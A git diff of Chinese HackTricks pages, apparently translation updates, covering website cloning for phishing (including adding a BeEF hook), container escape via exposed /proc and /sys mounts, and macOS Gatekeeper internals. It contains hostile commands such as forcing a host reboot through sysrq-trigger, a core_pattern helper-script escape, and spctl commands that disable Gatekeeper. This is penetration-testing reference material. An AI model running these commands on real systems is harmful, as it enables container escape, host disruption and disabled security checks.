* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,10 +12,15 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
对于钓鱼评估,有时完全**克隆一个网站**可能很有用。
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
请注意,您还可以向克隆的网站添加一些有效负载,比如BeEF hook以“控制”用户的标签。
|
||||
|
||||
|
||||
对于钓鱼评估,有时完全**克隆一个网站**可能会很有用。
|
||||
|
||||
请注意,您还可以向克隆的网站添加一些有效负载,比如BeEF hook来“控制”用户的标签页。
|
||||
|
||||
有不同的工具可用于此目的:
|
||||
|
||||
|
@ -23,11 +28,7 @@
|
|||
```text
|
||||
wget -mk -nH
|
||||
```
|
||||
## goclone
|
||||
|
||||
### 克隆一个网站
|
||||
|
||||
在进行网络钓鱼攻击时,克隆目标网站是一个常见的技术。这可以通过手动复制目标网站的HTML和CSS来实现,也可以使用工具来自动化这个过程。 goclone 是一个用于克隆网站的工具,它可以帮助您快速创建一个与目标网站外观相似的钓鱼网站。
|
||||
## 克隆网站
|
||||
```bash
|
||||
#https://github.com/imthaghost/goclone
|
||||
goclone <url>
|
||||
|
@ -36,16 +37,21 @@ goclone <url>
|
|||
```bash
|
||||
#https://github.com/trustedsec/social-engineer-toolkit
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,26 +8,30 @@
|
|||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)系列
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
未经适当命名空间隔离的`/proc`和`/sys`的暴露会带来重大安全风险,包括扩大攻击面和信息泄露。这些目录包含敏感文件,如果配置不当或被未经授权的用户访问,可能导致容器逃逸、主机修改或提供有助于进一步攻击的信息。例如,不正确地挂载`-v /proc:/host/proc`可能会绕过AppArmor保护,因为其基于路径的特性,使`/host/proc`无保护。
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**您可以在** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)** **找到每个潜在漏洞的更多详细信息。**
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
未经适当命名空间隔离的`/proc`和`/sys`的暴露会引入重大安全风险,包括扩大攻击面和信息泄露。这些目录包含敏感文件,如果配置不当或被未经授权的用户访问,可能导致容器逃逸、主机修改或提供有助于进一步攻击的信息。例如,不正确地挂载`-v /proc:/host/proc`可能绕过AppArmor保护,因为其基于路径的特性,使`/host/proc`无保护。
|
||||
|
||||
**您可以在** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)** **中找到每个潜在漏洞的更多详细信息。
|
||||
|
||||
## procfs漏洞
|
||||
|
||||
### `/proc/sys`
|
||||
|
||||
该目录允许通过`sysctl(2)`修改内核变量,并包含几个相关子目录:
|
||||
此目录允许访问以修改内核变量,通常通过`sysctl(2)`进行,包含几个相关子目录:
|
||||
|
||||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
* 在[core(5)](https://man7.org/linux/man-pages/man5/core.5.html)中描述。
|
||||
* 允许定义在生成核心文件时执行的程序,前128个字节作为参数。如果文件以管道`|`开头,可能导致代码执行。
|
||||
* 允许定义一个程序,在核心文件生成时使用前128个字节作为参数执行。如果文件以管道`|`开头,这可能导致代码执行。
|
||||
* **测试和利用示例**:
|
||||
|
||||
```bash
|
||||
|
@ -50,7 +54,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # 检查对modprobe的访问权限
|
|||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
* 在[proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)中引用。
|
||||
* 一个全局标志,控制OOM条件发生时内核是崩溃还是调用OOM killer。
|
||||
* 一个全局标志,控制当发生OOM条件时内核是崩溃还是调用OOM killer。
|
||||
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
|
@ -84,12 +88,12 @@ echo b > /proc/sysrq-trigger # 重启主机
|
|||
#### **`/proc/kmsg`**
|
||||
|
||||
* 显示内核环形缓冲区消息。
|
||||
* 可帮助内核利用、地址泄漏和提供敏感系统信息。
|
||||
* 可以帮助内核利用、地址泄漏和提供敏感系统信息。
|
||||
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
* 列出内核导出的符号及其地址。
|
||||
* 对于内核利用开发至关重要,特别是为了克服KASLR。
|
||||
* 对于内核利用开发至关重要,特别是用于克服KASLR。
|
||||
* 地址信息受`kptr_restrict`设置为`1`或`2`的限制。
|
||||
* 详细信息请参阅[proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)。
|
||||
|
||||
|
@ -104,7 +108,7 @@ echo b > /proc/sysrq-trigger # 重启主机
|
|||
* 以ELF核心格式表示系统的物理内存。
|
||||
* 读取可能泄露主机系统和其他容器的内存内容。
|
||||
* 大文件大小可能导致读取问题或软件崩溃。
|
||||
* 详细用法请参阅[2019年转储/proc/kcore](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)。
|
||||
* 在[2019年转储/proc/kcore](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)中详细介绍了用法。
|
||||
|
||||
#### **`/proc/kmem`**
|
||||
|
||||
|
@ -138,7 +142,7 @@ echo b > /proc/sysrq-trigger # 重启主机
|
|||
|
||||
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
|
||||
|
||||
## 从OverlayFS挂载中找到容器的主机路径
|
||||
## 从OverlayFS挂载的容器中查找主机路径
|
||||
|
||||
host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab)
|
||||
|
||||
|
@ -163,8 +167,8 @@ cat /output %%%
|
|||
|
||||
#### **`/sys/kernel/security`**
|
||||
|
||||
* 包含 `securityfs` 接口,允许配置 Linux 安全模块如 AppArmor。
|
||||
* 访问可能使容器禁用其 MAC 系统。
|
||||
* 包含 `securityfs` 接口,允许配置类似 AppArmor 的 Linux 安全模块。
|
||||
* 访问可能使容器能够禁用其 MAC 系统。
|
||||
|
||||
#### **`/sys/firmware/efi/vars` 和 `/sys/firmware/efi/efivars`**
|
||||
|
||||
|
@ -182,16 +186,20 @@ cat /output %%%
|
|||
* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
|
||||
* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,42 +4,44 @@
|
|||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想看到您的**公司在HackTricks中做广告**吗?或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks中被宣传**吗?或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群**]\(https://discord.gg/hRep4RUj7f) 或**电报群**或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧**
|
||||
*
|
||||
* .
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群**](https://discord.gg/hRep4RUj7f) 或 **电报群** 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向**hacktricks仓库**和**hacktricks-cloud仓库**提交PR来**分享你的黑客技巧**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Gatekeeper
|
||||
|
||||
**Gatekeeper**是为Mac操作系统开发的安全功能,旨在确保用户在其系统上**仅运行可信软件**。它通过**验证用户从**App Store**之外的来源下载并尝试打开的软件**(如应用程序、插件或安装程序包)来发挥作用。
|
||||
|
||||
Gatekeeper的关键机制在于其**验证**过程。它检查用户下载的软件是否**由认可的开发人员签名**,确保软件的真实性。此外,它还会确认软件是否**由Apple进行了公证**,以确认其不包含已知的恶意内容,并且在公证后未被篡改。
|
||||
Gatekeeper的关键机制在于其**验证**过程。它检查下载的软件是否**由认可的开发人员签名**,确保软件的真实性。此外,它还确定软件是否**被苹果公证**,以确认其不包含已知的恶意内容,并且在公证后未被篡改。
|
||||
|
||||
此外,Gatekeeper通过**提示用户批准首次打开**下载软件来加强用户控制和安全性。这种保护措施有助于防止用户无意中运行可能被误认为是无害数据文件的潜在有害可执行代码。
|
||||
此外,Gatekeeper通过**提示用户批准首次打开**下载的软件来加强用户控制和安全性。这种保护措施有助于防止用户无意中运行可能被误认为是无害数据文件的潜在有害可执行代码。
|
||||
|
||||
### 应用程序签名
|
||||
|
||||
应用程序签名,也称为代码签名,是Apple安全基础设施的关键组成部分。它用于**验证软件作者的身份**(开发人员)并确保代码自上次签名以来未被篡改。
|
||||
应用程序签名,也称为代码签名,是Apple安全基础设施的关键组成部分。它用于**验证软件作者**(开发人员)的身份,并确保代码自上次签名以来未被篡改。
|
||||
|
||||
工作原理如下:
|
||||
|
||||
1. **签署应用程序:当开发人员准备分发他们的应用程序时,他们会使用私钥对应用程序进行签名**。此私钥与Apple在开发人员加入Apple开发人员计划时颁发给开发人员的**证书**相关联。签名过程涉及创建应用程序所有部分的加密哈希,并使用开发人员的私钥对该哈希进行加密。
|
||||
2. \*\*分发应用程序:\*\*签名的应用程序随后与开发人员的证书一起分发给用户,该证书包含相应的公钥。
|
||||
3. **验证应用程序:当用户下载并尝试运行应用程序时,他们的Mac操作系统使用开发人员证书中的公钥来解密哈希。然后,它根据应用程序的当前状态重新计算哈希,并将其与解密的哈希进行比较。如果它们匹配,则意味着应用程序自开发人员签署以来未被修改**,系统允许应用程序运行。
|
||||
1. **签署应用程序:**当开发人员准备分发他们的应用程序时,他们会使用**私钥对应用程序进行签名**。此私钥与开发人员在加入Apple开发人员计划时获得的**证书相关联**。签名过程涉及创建应用程序所有部分的加密哈希,并使用开发人员的私钥对此哈希进行加密。
|
||||
2. **分发应用程序:**签名的应用程序随后与开发人员的证书一起分发给用户,该证书包含相应的公钥。
|
||||
3. **验证应用程序:**当用户下载并尝试运行应用程序时,他们的Mac操作系统使用开发人员证书中的公钥来解密哈希。然后,它根据应用程序的当前状态重新计算哈希,并将其与解密的哈希进行比较。如果它们匹配,这意味着**应用程序自开发人员签名以来未被修改**,系统允许应用程序运行。
|
||||
|
||||
应用程序签名是Apple Gatekeeper技术的重要组成部分。当用户尝试**打开从互联网下载的应用程序**时,Gatekeeper会验证应用程序签名。如果应用程序使用由苹果颁发给已知开发人员的证书签名,并且代码未被篡改,Gatekeeper允许应用程序运行。否则,它会阻止应用程序并警告用户。
|
||||
应用程序签名是Apple Gatekeeper技术的重要组成部分。当用户尝试**打开从互联网下载的应用程序**时,Gatekeeper会验证应用程序签名。如果它使用由苹果颁发给已知开发人员的证书签名,并且代码未被篡改,Gatekeeper允许应用程序运行。否则,它会阻止应用程序并警告用户。
|
||||
|
||||
从macOS Catalina开始,**Gatekeeper还会检查应用程序是否已被Apple进行了公证**,增加了额外的安全层。公证过程会检查应用程序是否存在已知的安全问题和恶意代码,如果这些检查通过,Apple会向应用程序添加Gatekeeper可以验证的凭证。
|
||||
从macOS Catalina开始,**Gatekeeper还会检查应用程序是否已被苹果公证**,增加了额外的安全层。公证过程会检查应用程序是否存在已知的安全问题和恶意代码,如果这些检查通过,苹果会向应用程序添加Gatekeeper可以验证的凭证。
|
||||
|
||||
#### 检查签名
|
||||
|
||||
在检查某些**恶意软件样本**时,您应始终**检查二进制文件的签名**,因为签署它的**开发人员**可能已与**恶意软件**有关。
|
||||
|
||||
在检查一些**恶意软件样本**时,您应始终**检查二进制文件的签名**,因为签署它的**开发人员**可能已与**恶意软件**有关。
|
||||
```bash
|
||||
# Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
@ -56,36 +58,32 @@ spctl --assess --verbose /Applications/Safari.app
|
|||
# Sign a binary
|
||||
codesign -s <cert-name-keychain> toolsdemo
|
||||
```
|
||||
|
||||
### 验证
|
||||
|
||||
苹果的验证流程作为一项额外的保障,旨在保护用户免受潜在有害软件的侵害。它涉及**开发人员将其应用提交给苹果的验证服务**进行审查,这与应用审核不应混淆。这项服务是一个**自动化系统**,会审查提交的软件是否存在**恶意内容**以及代码签名是否存在任何潜在问题。
|
||||
苹果的验证流程作为一项额外的保障措施,旨在保护用户免受潜在有害软件的侵害。这涉及开发人员通过**苹果的验证服务**提交其应用程序进行审查,这与应用审核不应混淆。这项服务是一个**自动化系统**,用于审查提交的软件是否存在**恶意内容**以及代码签名是否存在任何潜在问题。
|
||||
|
||||
如果软件**通过**此检查而没有引起任何关注,验证服务将生成一个验证票证。然后开发人员需要**将此票证附加到其软件**上,这个过程称为“装订”。此外,验证票证也会在线发布,Gatekeeper,苹果的安全技术,可以访问它。
|
||||
|
||||
在用户首次安装或执行软件时,验证票证的存在 - 无论是装订到可执行文件上还是在线找到 - **通知Gatekeeper该软件已由苹果进行验证**。因此,Gatekeeper在初始启动对话框中显示一个描述性消息,指示该软件已经通过苹果的恶意内容检查。这个过程增强了用户对其系统上安装或运行的软件安全性的信心。
|
||||
在用户首次安装或执行软件时,验证票证的存在 - 无论是装订到可执行文件还是在线找到 - **通知 Gatekeeper 软件已由苹果进行验证**。因此,Gatekeeper 在初始启动对话框中显示一个描述性消息,指示该软件已经通过苹果的恶意内容检查。这个过程增强了用户对其系统上安装或运行的软件安全性的信心。
|
||||
|
||||
### 枚举 Gatekeeper
|
||||
|
||||
Gatekeeper既是**几个安全组件**,用于阻止不受信任的应用程序执行,也是**其中的一个组件**。
|
||||
|
||||
可以使用以下命令查看Gatekeeper的**状态**:
|
||||
Gatekeeper 既是**几个安全组件**,用于阻止不受信任的应用程序执行,也是**其中的一个组件**。
|
||||
|
||||
可以使用以下命令查看 Gatekeeper 的**状态**:
|
||||
```bash
|
||||
# Check the status
|
||||
spctl --status
|
||||
```
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,GateKeeper 签名检查仅针对具有**Quarantine 属性的文件**执行,而不是针对每个文件执行。
|
||||
请注意,GateKeeper 签名检查仅针对具有隔离属性的文件进行,而不是针对每个文件进行。
|
||||
{% endhint %}
|
||||
|
||||
GateKeeper 将检查二进制文件是否可以根据**偏好设置和签名**执行:
|
||||
GateKeeper 将检查二进制文件是否可以执行,根据**偏好设置和签名**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (678).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
保存此配置的数据库位于\*\*`/var/db/SystemPolicy`\*\*中。您可以以 root 身份检查此数据库:
|
||||
<figure><img src="../../../.gitbook/assets/image (1147).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
保存此配置的数据库位于**`/var/db/SystemPolicy`**。您可以以 root 身份检查此数据库:
|
||||
```bash
|
||||
# Open database
|
||||
sqlite3 /var/db/SystemPolicy
|
||||
|
@ -99,12 +97,10 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
|
|||
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
|
||||
[...]
|
||||
```
|
||||
|
||||
请注意第一个规则以“**App Store**”结尾,第二个规则以“**Developer ID**”结尾,并且在之前的图像中它被设置为**允许从App Store和已识别开发者执行应用程序**。\
|
||||
如果您将该设置修改为App Store,那么“**已经过公证的开发者ID**”规则将消失。
|
||||
如果您将该设置修改为App Store,则“**已经过公证的开发者ID**”规则将消失。
|
||||
|
||||
还有成千上万个**类型为GKE**的规则:
|
||||
|
||||
```bash
|
||||
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
|
||||
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
|
||||
|
@ -113,17 +109,13 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
|
|||
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
|
||||
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
|
||||
```
|
||||
|
||||
这些哈希值来自于\*\*`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`、`/var/db/gke.bundle/Contents/Resources/gk.db`**和**`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`\*\*
|
||||
这些哈希值来自于**`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`、`/var/db/gke.bundle/Contents/Resources/gk.db`**和**`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`**
|
||||
|
||||
或者你可以列出前面提到的信息:
|
||||
|
||||
```bash
|
||||
sudo spctl --list
|
||||
```
|
||||
|
||||
**`spctl`** 的选项 **`--master-disable`** 和 **`--global-disable`** 将完全**禁用**这些签名检查:
|
||||
|
||||
```bash
|
||||
# Disable GateKeeper
|
||||
spctl --global-disable
|
||||
|
@ -133,19 +125,15 @@ spctl --master-disable
|
|||
spctl --global-enable
|
||||
spctl --master-enable
|
||||
```
|
||||
|
||||
完全启用后,将出现一个新选项:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (679).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1148).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
可以使用以下方法**检查 GateKeeper 是否允许某个应用程序**:
|
||||
|
||||
```bash
|
||||
spctl --assess -v /Applications/App.app
|
||||
```
|
||||
|
||||
可以通过以下方式向 GateKeeper 添加新规则,以允许执行特定应用程序:
|
||||
|
||||
可以通过以下方式向 GateKeeper 添加新规则,允许执行特定应用程序:
|
||||
```bash
|
||||
# Check if allowed - nop
|
||||
spctl --assess -v /Applications/App.app
|
||||
|
@ -160,17 +148,16 @@ sudo spctl --enable --label "whitelist"
|
|||
spctl --assess -v /Applications/App.app
|
||||
/Applications/App.app: accepted
|
||||
```
|
||||
|
||||
### 检疫文件
|
||||
|
||||
在**下载**应用程序或文件时,特定的 macOS **应用程序**,如网络浏览器或电子邮件客户端,会**附加一个扩展文件属性**,通常被称为“**检疫标志**”,到下载的文件上。这个属性作为一个安全措施,将文件标记为来自不受信任的来源(互联网),并可能携带风险。然而,并非所有应用程序都会附加此属性,例如,常见的 BitTorrent 客户端软件通常会绕过此过程。
|
||||
在下载应用程序或文件时,特定的 macOS 应用程序,如网络浏览器或电子邮件客户端,会向下载的文件附加一个称为“**检疫标志**”的扩展文件属性。该属性作为一项安全措施,将文件标记为来自不受信任的来源(互联网),并可能携带风险。然而,并非所有应用程序都会附加此属性,例如,常见的 BitTorrent 客户端软件通常会绕过此过程。
|
||||
|
||||
**当用户尝试执行文件时,检疫标志的存在会触发 macOS 的 Gatekeeper 安全功能**。
|
||||
|
||||
在**检疫标志不存在的情况下**(例如通过某些 BitTorrent 客户端下载的文件),Gatekeeper 的**检查可能不会执行**。因此,用户在打开从不太安全或未知来源下载的文件时应谨慎。
|
||||
在检疫标志不存在的情况下(例如通过某些 BitTorrent 客户端下载的文件),Gatekeeper 的检查可能不会执行。因此,用户在打开从较不安全或未知来源下载的文件时应谨慎。
|
||||
|
||||
{% hint style="info" %}
|
||||
**验证**代码签名的**有效性**是一个**资源密集型**的过程,包括生成代码及其所有捆绑资源的加密**哈希**。此外,检查证书的有效性涉及到向苹果的服务器进行**在线检查**,以查看证书是否在签发后被吊销。出于这些原因,每次启动应用程序时运行完整的代码签名和公证检查是**不切实际**的。
|
||||
**验证**代码签名的**有效性**是一个**资源密集型**的过程,包括生成代码及其所有捆绑资源的加密**哈希**。此外,检查证书的有效性涉及向苹果的服务器进行**在线检查**,以查看签发后是否已被吊销。出于这些原因,每次启动应用程序时运行完整的代码签名和公证检查是**不切实际**的。
|
||||
|
||||
因此,这些检查**仅在执行带有检疫属性的应用程序时运行**。
|
||||
{% endhint %}
|
||||
|
@ -178,11 +165,10 @@ spctl --assess -v /Applications/App.app
|
|||
{% hint style="warning" %}
|
||||
此属性必须由**创建/下载**文件的应用程序**设置**。
|
||||
|
||||
但是,受沙盒限制的文件将为它们创建的每个文件设置此属性。非沙盒应用程序可以自行设置它,或在**Info.plist**中指定[**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc)键,这将使系统在创建文件时设置`com.apple.quarantine`扩展属性。
|
||||
但是,经过沙盒化的文件将为它们创建的每个文件设置此属性。非沙盒化的应用程序可以自行设置,或在 **Info.plist** 中指定 [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) 键,系统将在创建的文件上设置 `com.apple.quarantine` 扩展属性。
|
||||
{% endhint %}
|
||||
|
||||
可以通过以下方式**检查其状态并启用/禁用**(需要 root 权限):
|
||||
|
||||
```bash
|
||||
spctl --status
|
||||
assessments enabled
|
||||
|
@ -191,17 +177,13 @@ spctl --enable
|
|||
spctl --disable
|
||||
#You can also allow nee identifies to execute code using the binary "spctl"
|
||||
```
|
||||
|
||||
您还可以使用以下方法**查找文件是否具有隔离扩展属性**:
|
||||
|
||||
```bash
|
||||
xattr file.png
|
||||
com.apple.macl
|
||||
com.apple.quarantine
|
||||
```
|
||||
|
||||
检查**扩展属性**的**值**,找出写入隔离属性的应用程序:
|
||||
|
||||
```bash
|
||||
xattr -l portada.png
|
||||
com.apple.macl:
|
||||
|
@ -217,34 +199,70 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
|
|||
# Brave -- App
|
||||
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
|
||||
```
|
||||
|
||||
实际上,一个进程“可以为它创建的文件设置隔离标志”(我尝试在创建的文件中应用USER\_APPROVED标志,但它不会应用):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>源代码应用隔离标志</summary>
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
\`\`\`c #include #include
|
||||
enum qtn_flags {
|
||||
QTN_FLAG_DOWNLOAD = 0x0001,
|
||||
QTN_FLAG_SANDBOX = 0x0002,
|
||||
QTN_FLAG_HARD = 0x0004,
|
||||
QTN_FLAG_USER_APPROVED = 0x0040,
|
||||
};
|
||||
|
||||
enum qtn\_flags { QTN\_FLAG\_DOWNLOAD = 0x0001, QTN\_FLAG\_SANDBOX = 0x0002, QTN\_FLAG\_HARD = 0x0004, QTN\_FLAG\_USER\_APPROVED = 0x0040, };
|
||||
#define qtn_proc_alloc _qtn_proc_alloc
|
||||
#define qtn_proc_apply_to_self _qtn_proc_apply_to_self
|
||||
#define qtn_proc_free _qtn_proc_free
|
||||
